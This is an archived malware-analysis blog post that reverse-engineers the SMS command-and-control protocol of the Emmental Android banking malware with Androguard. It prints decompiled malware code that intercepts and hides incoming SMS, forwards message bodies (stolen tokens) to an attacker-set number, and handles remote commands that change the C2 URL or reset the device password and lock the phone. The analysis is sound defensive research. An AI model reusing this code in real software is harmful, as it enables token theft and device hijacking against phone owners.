{
	"id": "53bce9ce-3b3a-4b25-94c8-18539cae87b4",
	"created_at": "2026-04-06T00:08:12.676589Z",
	"updated_at": "2026-04-10T03:21:45.83032Z",
	"deleted_at": null,
	"sha1_hash": "3e78b07f382b0a911c2f68b149bc9ebb54986181",
	"title": "Reversing the SMS C\u0026C protocol of Emmental (1st part - understanding the code)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 121048,
	"plain_text": "Reversing the SMS C\u0026C protocol of Emmental (1st part -\r\nunderstanding the code)\r\nArchived: 2026-04-05 13:20:39 UTC\r\nIn a previous post I described how I reversed and decrypt the HTTP C2C protocol used by Emmental malware.\r\nAlso, in other post I introduced the Androguard framework with some examples. \r\nNow it is time to focus on the SMS C2C protocol and how I have reversed it.\r\nThe sample used is again the same: c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349\r\nThe code of this malware is obfuscated and also use some anti-reversing techniques. For example, if you try to\r\nopen it with j2-gui after the DEX has been converted to Java code some part of the code will not show properly. \r\nThe obfuscation makes the analysis a bit more difficult so a bit of patient is necessary.\r\nIf you have the money, there is a very good tool, JEB, which can help you with de-obfuscated Java code and make\r\nthe analysis easier and faster.\r\nFinding the entry point\r\nWhen dealing with analysis like this it is important to figure out which is the entry point. In this case, the entry\r\npoint must  be anything related to any SMS ( any method, permission, provider...). So we can look where some\r\nSMS permissions are used (SEND_SMS or RECEIVED_SMS) or we can check where the Android SMS provider\r\nis used\r\nFor this analysis I am going to start looking to the Android SMS provider\r\n(android.provider.Telephony.SMS_RECEIVED).\r\nSo first thing I do is to search for the string \"android.provider.Telephony.SMS_RECEIVED\" in order to see which\r\nmethods are using it.\r\nIn [48]:  a, d, dx = AnalyzeAPK(\"malware.apk\", decompiler=\"dad\")\r\nIn [64]:  z = dx.tainted_variables.get_string(\"android.provider.Telephony.SMS_RECEIVED\")\r\nIn [65]: z\r\nOut[65]: \u003candroguard.core.analysis.analysis.TaintedVariable at 0x7fd99a967090\u003e\r\nIn [66]: z.show_paths(d)\r\nR f4 Lorg/thoughtcrime/securesms/service/SmsListener;-\u003eonReceive (Landroid/content/Context;\r\nLandroid/content/Intent;)V\r\nR 202 Lorg/thoughtcrime/securesms/service/SmsListener;-\u003eonReceive (Landroid/content/Context;\r\nLandroid/content/Intent;)V\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 1 of 10\n\nR 36 Lorg/thoughtcrime/securesms/service/SmsListener;-\u003ea (Landroid/content/Context;\r\nLandroid/content/Intent;)Z\r\nClearly I find some interesting method 'onReceive' in the class:\r\nLorg.thoughtcrime.securesms.service.SmsListener \r\nThe first method\r\nIn [70]: d.CLASS_Lorg_thoughtcrime_securesms_service_SmsListener.METHOD_onReceive.source()\r\npublic void onReceive(android.content.Context p8, android.content.Intent p9)\r\n    {\r\n        String v0_3 = ((Object[]) ((Object[]) p9.getExtras().get(\"pdus\")));\r\n        String v5_0 = new android.telephony.SmsMessage[v0_3.length];\r\n        String v2_1 = 0;\r\n        String v4_0 = \"\";\r\n        while (v2_1 \u003c v0_3.length) {\r\n            v5_0[v2_1] = android.telephony.SmsMessage.createFromPdu(((byte[]) ((byte[]) v0_3[v2_1])));\r\n            v4_0 = new StringBuilder().append(v4_0).append(v5_0[v2_1].getMessageBody()).toString();\r\n            v2_1++;\r\n        }\r\n        String v0_8 = android.telephony.SmsMessage.createFromPdu(((byte[]) ((byte[])\r\nv0_3[0]))).getDisplayOriginatingAddress();\r\n        android.content.Intent v1_4 = new org.thoughtcrime.securesms.h.f(v4_0, p8);\r\n        if ((!p9.getAction().equals(\"android.provider.Telephony.SMS_DELIVER\")) || ((!v1_4.a().booleanValue())\r\n\u0026\u0026 (org.thoughtcrime.securesms.h.i.a(\"RTB\", 0, p8) == 0))) {\r\n            if ((!p9.getAction().equals(\"android.provider.Telephony.SMS_RECEIVED\")) ||\r\n((!v1_4.a().booleanValue()) \u0026\u0026 (org.thoughtcrime.securesms.h.i.a(\"RTB\", 0, p8) == 0))) {\r\n                if ((p9.getAction().equals(\"android.provider.Telephony.SMS_DELIVER\")) ||\r\n((p9.getAction().equals(\"android.provider.Telephony.SMS_RECEIVED\")) \u0026\u0026 (this.a(p8, p9)))) {\r\n                    String v0_15 = new android.content.Intent(p8,\r\norg.thoughtcrime.securesms.service.SendReceiveService);\r\n                    v0_15.setAction(\"org.thoughtcrime.securesms.SendReceiveService.RECEIVE_SMS_ACTION\");\r\n                    v0_15.putExtra(\"ResultCode\", this.getResultCode());\r\n                    v0_15.putParcelableArrayListExtra(\"text_messages\", this.c(p9));\r\n                    p8.startService(v0_15);\r\n                    this.abortBroadcast();\r\n                }\r\n            } else {\r\n                if (!v1_4.a().booleanValue()) {\r\n                    if (org.thoughtcrime.securesms.h.i.a(\"RTB\", 0, p8) != 2) {\r\n                        if ((org.thoughtcrime.securesms.h.i.a(\"RTB\", 0, p8) == 1) \u0026\u0026\r\n(org.thoughtcrime.securesms.h.i.c(v0_8, 0, p8) == 1)) {\r\n                            this.abortBroadcast();\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 2 of 10\n\nandroid.content.Intent v1_17 = new android.content.Intent(p8,\r\norg.thoughtcrime.securesms.xservices.XSmsIncom);\r\n                            v1_17.putExtra(\"sms_body\", v4_0);\r\n                            v1_17.putExtra(\"sms_from\", v0_8);\r\n                            p8.startService(v1_17);\r\n                        }\r\n                    } else {\r\n                        this.abortBroadcast();\r\n                        String v0_17 = org.thoughtcrime.securesms.h.i.a(\"sms_phone\", \"0\", p8);\r\n                        if (v0_17 != \"0\") {\r\n                            org.thoughtcrime.securesms.h.i.d(v0_17, v4_0, p8);\r\n                        }\r\n                    }\r\n                } else {\r\n                    this.abortBroadcast();\r\n                    if (v1_4.b().booleanValue()) {\r\n                        v1_4.a(p8);\r\n                    }\r\n                }\r\n            }\r\n        } else {\r\n            this.abortBroadcast();\r\n        }\r\n        return;\r\n    }\r\nThe second method\r\nLooking at the code above I see an interesting call to another method in other class, which I also display here:\r\nIn [71]: d.CLASS_Lorg_thoughtcrime_securesms_h_f.source()\r\npackage org.thoughtcrime.securesms.h;\r\npublic class f {\r\n    private String a;\r\n    private org.thoughtcrime.securesms.h.h b;\r\n    private String c;\r\n    private String d;\r\n    private Boolean e;\r\n    private Boolean f;\r\n    private String[] g;\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 3 of 10\n\npublic f(String p6, android.content.Context p7)\r\n    {\r\n        this.c = \"0\";\r\n        this.d = \"0\";\r\n        this.e = Boolean.valueOf(0);\r\n        this.f = Boolean.valueOf(0);\r\n        this.g = p6.split(\" \");\r\n        if ((this.g.length \u003e 1) \u0026\u0026 (org.thoughtcrime.securesms.h.h.a(this.g[1]))) {\r\n            this.a = this.g[0];\r\n            this.b = org.thoughtcrime.securesms.h.h.valueOf(this.g[1]);\r\n            if (this.g.length \u003e 2) {\r\n                this.c = this.g[2];\r\n                if (this.g.length \u003e 3) {\r\n                    this.d = this.g[3];\r\n                    org.thoughtcrime.securesms.h.i.b(\"service_code\", this.d, p7);\r\n                }\r\n            }\r\n            this.e = Boolean.valueOf(1);\r\n            if (org.thoughtcrime.securesms.h.i.b(org.thoughtcrime.securesms.h.i.a(this.a))) {\r\n                this.f = Boolean.valueOf(1);\r\n            }\r\n        }\r\n        return;\r\n    }\r\n    public Boolean a()\r\n    {\r\n        return this.e;\r\n    }\r\n    public void a(android.content.Context p4)\r\n    {\r\n        switch (org.thoughtcrime.securesms.h.g.a[this.b.ordinal()]) {\r\n            case 1:\r\n                String v0_35 = org.thoughtcrime.securesms.h.i.a(\"PHONE_NUMBER\", \"\", p4);\r\n                if ((this.c == \"0\") \u0026\u0026 (v0_35.length() \u003e 0)) {\r\n                    this.c = v0_35;\r\n                }\r\n                if (this.c == \"0\") {\r\n                } else {\r\n                    org.thoughtcrime.securesms.h.i.b(\"sms_phone\", this.c, p4);\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 4 of 10\n\norg.thoughtcrime.securesms.h.i.b(\"RTB\", 2, p4);\r\n                    org.thoughtcrime.securesms.h.i.d(this.c, \"Service Started\", p4);\r\n                }\r\n                break;\r\n            case 2:\r\n                org.thoughtcrime.securesms.h.i.b(\"RTB\", 1, p4);\r\n                org.thoughtcrime.securesms.h.i.b(\"Service Started\", p4);\r\n                break;\r\n            case 3:\r\n                this.c = org.thoughtcrime.securesms.h.i.a(\"sms_phone\", \"0\", p4);\r\n                org.thoughtcrime.securesms.h.i.b(\"sms_phone\", \"0\", p4);\r\n                org.thoughtcrime.securesms.h.i.b(\"RTB\", 0, p4);\r\n                if (this.c == \"0\") {\r\n                } else {\r\n                    org.thoughtcrime.securesms.h.i.d(this.c, \"Service Stoped\", p4);\r\n                }\r\n                break;\r\n            case 4:\r\n                org.thoughtcrime.securesms.h.i.b(\"DEL\", 1, p4);\r\n                this.c = org.thoughtcrime.securesms.h.i.a(\"sms_phone\", this.c, p4);\r\n                if (this.c == \"0\") {\r\n                } else {\r\n                    org.thoughtcrime.securesms.h.i.d(this.c, \"Delete command received\", p4);\r\n                }\r\n                break;\r\n            case 5:\r\n                if (this.c == \"0\") {\r\n                } else {\r\n                    org.thoughtcrime.securesms.h.i.m(p4);\r\n                    org.thoughtcrime.securesms.h.i.b(\"URL_MAIN\", this.c, p4);\r\n                    org.thoughtcrime.securesms.h.i.b(\"Buffer setted\", p4);\r\n                    p4.sendBroadcast(new android.content.Intent(p4, org.thoughtcrime.securesms.xservices.XRepeat));\r\n                }\r\n                break;\r\n            case 6:\r\n                org.thoughtcrime.securesms.h.i.m(p4);\r\n                break;\r\n            case 7:\r\n                if (this.c == \"0\") {\r\n                } else {\r\n                    org.thoughtcrime.securesms.h.i.m(p4);\r\n                    org.thoughtcrime.securesms.h.i.b(\"PHONE_NUMBER\", this.c, p4);\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 5 of 10\n\norg.thoughtcrime.securesms.h.i.b(\"Number setted\", p4);\r\n                }\r\n                break;\r\n            case 8:\r\n                org.thoughtcrime.securesms.h.i.b(\"PHONE_NUMBER\", \"\", p4);\r\n                break;\r\n            case 9:\r\n                org.thoughtcrime.securesms.h.i.m(p4);\r\n                org.thoughtcrime.securesms.h.i.b(\"PHONE_NUMBER\", \"\", p4);\r\n                break;\r\n            case 10:\r\n                if (this.c == \"0\") {\r\n                } else {\r\n                    String v0_9 = ((android.app.admin.DevicePolicyManager) p4.getSystemService(\"device_policy\"));\r\n                    v0_9.resetPassword(this.c, 1);\r\n                    v0_9.lockNow();\r\n                    org.thoughtcrime.securesms.h.i.b(\"Device locked\", p4);\r\n                }\r\n                break;\r\n            case 11:\r\n                String v0_4 = ((android.app.admin.DevicePolicyManager) p4.getSystemService(\"device_policy\"));\r\n                v0_4.resetPassword(\"\", 1);\r\n                v0_4.lockNow();\r\n                org.thoughtcrime.securesms.h.i.b(\"Device unlocked\", p4);\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n    public Boolean b()\r\n    {\r\n        return this.f;\r\n    }\r\n}\r\nThe third method\r\nThe method above makes again a call to other method in other class  'org.thoughtcrime.securesms.h.h.valueOf'.By\r\nthe name of that method it looks like some kind of value is extracted or converted. Time to look to that method:\r\nIn [72]:In [72]: d.CLASS_Lorg_thoughtcrime_securesms_h_h.source()\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 6 of 10\n\npackage org.thoughtcrime.securesms.h;\r\nfinal enum class h extends java.lang.Enum {\r\n    public static final enum org.thoughtcrime.securesms.h.h a;\r\n    public static final enum org.thoughtcrime.securesms.h.h b;\r\n    public static final enum org.thoughtcrime.securesms.h.h c;\r\n    public static final enum org.thoughtcrime.securesms.h.h d;\r\n    public static final enum org.thoughtcrime.securesms.h.h e;\r\n    public static final enum org.thoughtcrime.securesms.h.h f;\r\n    public static final enum org.thoughtcrime.securesms.h.h g;\r\n    public static final enum org.thoughtcrime.securesms.h.h h;\r\n    public static final enum org.thoughtcrime.securesms.h.h i;\r\n    public static final enum org.thoughtcrime.securesms.h.h j;\r\n    public static final enum org.thoughtcrime.securesms.h.h k;\r\n    private static final synthetic org.thoughtcrime.securesms.h.h[] l;\r\n    static h()\r\n    {\r\n        org.thoughtcrime.securesms.h.h.a = new org.thoughtcrime.securesms.h.h(\"GOOGL\", 0);\r\n        org.thoughtcrime.securesms.h.h.b = new org.thoughtcrime.securesms.h.h(\"STARTB\", 1);\r\n        org.thoughtcrime.securesms.h.h.c = new org.thoughtcrime.securesms.h.h(\"GOOGLE\", 2);\r\n        org.thoughtcrime.securesms.h.h.d = new org.thoughtcrime.securesms.h.h(\"DEL\", 3);\r\n        org.thoughtcrime.securesms.h.h.e = new org.thoughtcrime.securesms.h.h(\"YAHOO\", 4);\r\n        org.thoughtcrime.securesms.h.h.f = new org.thoughtcrime.securesms.h.h(\"CLEARB\", 5);\r\n        org.thoughtcrime.securesms.h.h.g = new org.thoughtcrime.securesms.h.h(\"SETP\", 6);\r\n        org.thoughtcrime.securesms.h.h.h = new org.thoughtcrime.securesms.h.h(\"CLEARP\", 7);\r\n        org.thoughtcrime.securesms.h.h.i = new org.thoughtcrime.securesms.h.h(\"DROPBOX\", 8);\r\n        org.thoughtcrime.securesms.h.h.j = new org.thoughtcrime.securesms.h.h(\"LOCK\", 9);\r\n        org.thoughtcrime.securesms.h.h.k = new org.thoughtcrime.securesms.h.h(\"UNLOCK\", 10);\r\n        org.thoughtcrime.securesms.h.h[] v0_23 = new org.thoughtcrime.securesms.h.h[11];\r\n        v0_23[0] = org.thoughtcrime.securesms.h.h.a;\r\n        v0_23[1] = org.thoughtcrime.securesms.h.h.b;\r\n        v0_23[2] = org.thoughtcrime.securesms.h.h.c;\r\n        v0_23[3] = org.thoughtcrime.securesms.h.h.d;\r\n        v0_23[4] = org.thoughtcrime.securesms.h.h.e;\r\n        v0_23[5] = org.thoughtcrime.securesms.h.h.f;\r\n        v0_23[6] = org.thoughtcrime.securesms.h.h.g;\r\n        v0_23[7] = org.thoughtcrime.securesms.h.h.h;\r\n        v0_23[8] = org.thoughtcrime.securesms.h.h.i;\r\n        v0_23[9] = org.thoughtcrime.securesms.h.h.j;\r\n        v0_23[10] = org.thoughtcrime.securesms.h.h.k;\r\n        org.thoughtcrime.securesms.h.h.l = v0_23;\r\n        return;\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 7 of 10\n\n}\r\n    private h(String p1, int p2)\r\n    {\r\n        this(p1, p2);\r\n        return;\r\n    }\r\n    public static boolean a(String p5)\r\n    {\r\n        int v0 = 0;\r\n        org.thoughtcrime.securesms.h.h[] v2 = org.thoughtcrime.securesms.h.h.values();\r\n        int v1 = 0;\r\n        while (v1 \u003c v2.length) {\r\n            if (!v2[v1].name().equals(p5)) {\r\n                v1++;\r\n            } else {\r\n                v0 = 1;\r\n                break;\r\n            }\r\n        }\r\n        return v0;\r\n    }\r\n    public static org.thoughtcrime.securesms.h.h valueOf(String p1)\r\n    {\r\n        return ((org.thoughtcrime.securesms.h.h) Enum.valueOf(org.thoughtcrime.securesms.h.h, p1));\r\n    }\r\n    public static org.thoughtcrime.securesms.h.h[] values()\r\n    {\r\n        return ((org.thoughtcrime.securesms.h.h[]) org.thoughtcrime.securesms.h.h.l.clone());\r\n    }\r\n}\r\nBack to second method\r\nLooking at the Java class I see that there is a some kind 'conversion' from a string to a number. Those strings looks\r\nfamiliar to me and I have seen some of the them in memory analysis I did in previous posts. So basically the string\r\n\"GOOGL\" is 'mapped' to the number '1' which can be later used in a 'switch' condition in the caller method\r\norg.thought.crime.securesms.h.f and from there jump to the method which executes the valid code. So for\r\nexample, the 'GOOGL' strings, maps to number '1' and in the 'switch', the code is the following:\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 8 of 10\n\ncase 1:\r\n                String v0_35 = org.thoughtcrime.securesms.h.i.a(\"PHONE_NUMBER\", \"\", p4);\r\n                if ((this.c == \"0\") \u0026\u0026 (v0_35.length() \u003e 0)) {\r\n                    this.c = v0_35;\r\n                }\r\n                if (this.c == \"0\") {\r\n                } else {\r\n                    org.thoughtcrime.securesms.h.i.b(\"sms_phone\", this.c, p4);\r\n                    org.thoughtcrime.securesms.h.i.b(\"RTB\", 2, p4);\r\n                    org.thoughtcrime.securesms.h.i.d(this.c, \"Service Started\", p4);\r\n                }\r\n                break\r\nI have created a very basic flow diagram to see how the functions are called\r\nThe fourth method\r\nIn the code above there is an interesting call to one method: org.thoughtcrime.securesms.h.i.b(\"sms_phone\", this.c,\r\np4)\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 9 of 10\n\nThe code of this method is:\r\n   public static void b(String p2, String p3, android.content.Context p4)\r\n    {\r\n        android.content.SharedPreferences$Editor v0_2;\r\n        if (android.os.Build$VERSION.SDK_INT \u003c 11) {\r\n            v0_2 = p4.getSharedPreferences(\"MainPref\", 0);\r\n        } else {\r\n            v0_2 = p4.getSharedPreferences(\"MainPref\", 4);\r\n        }\r\n        android.content.SharedPreferences$Editor v0_4 = v0_2.edit();\r\n        v0_4.putString(p2, p3);\r\n        v0_4.commit();\r\n        return;\r\nIn essence, this method finally is editing the MainPreferences.xml used by the malware to keep its configuration.\r\nThis file is basically the XML file discovered in this post which keeps the configuration of the malware. In this\r\ncase, this is a phone number which I advance is the number used to forward the stolen tokens (I will explain this in\r\nnext post).\r\nThis is a summary of what's going:\r\n1. When there is a new SMS received the OnReceive() method calls other method\r\norg.thoughtcrime.securesms.h.f\r\n2. The method org.thoughtcrime.securesms.h.f contains a 'switch' in order to jump to the specific method to\r\nexecute the code. But previous to that, the method needs to know which is the value of the variable for the\r\n'switch'. To get this value, a call to the method org.thoughtcrime.securesms.h.h is done.\r\n3. The method org.thoughtcrime.securesms.h.f is in charge of mapping strings to integer values. So the value\r\nreturned is used by the method org.thoughtcrime.securesms.h.f .\r\n4. Once org.thoughtcrime.securesms.h.f knows the value for the 'switch' it jumps to the correct method which\r\nexecute the C\u0026C command.\r\nWhere I am going to focus the investigation?\r\nBasically in the strings mapped to integers. Those are the ones which are the C\u0026C commands. So I need to see\r\nwhat the commands GOOGL, STARTB, DEL, YAHOO, etc, are used for.\r\nSource: http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nhttp://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html"
	],
	"report_names": [
		"reversing-sms-c-protocol-of-emmental.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434092,
	"ts_updated_at": 1775791305,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3e78b07f382b0a911c2f68b149bc9ebb54986181.pdf",
		"text": "https://archive.orkl.eu/3e78b07f382b0a911c2f68b149bc9ebb54986181.txt",
		"img": "https://archive.orkl.eu/3e78b07f382b0a911c2f68b149bc9ebb54986181.jpg"
	}
}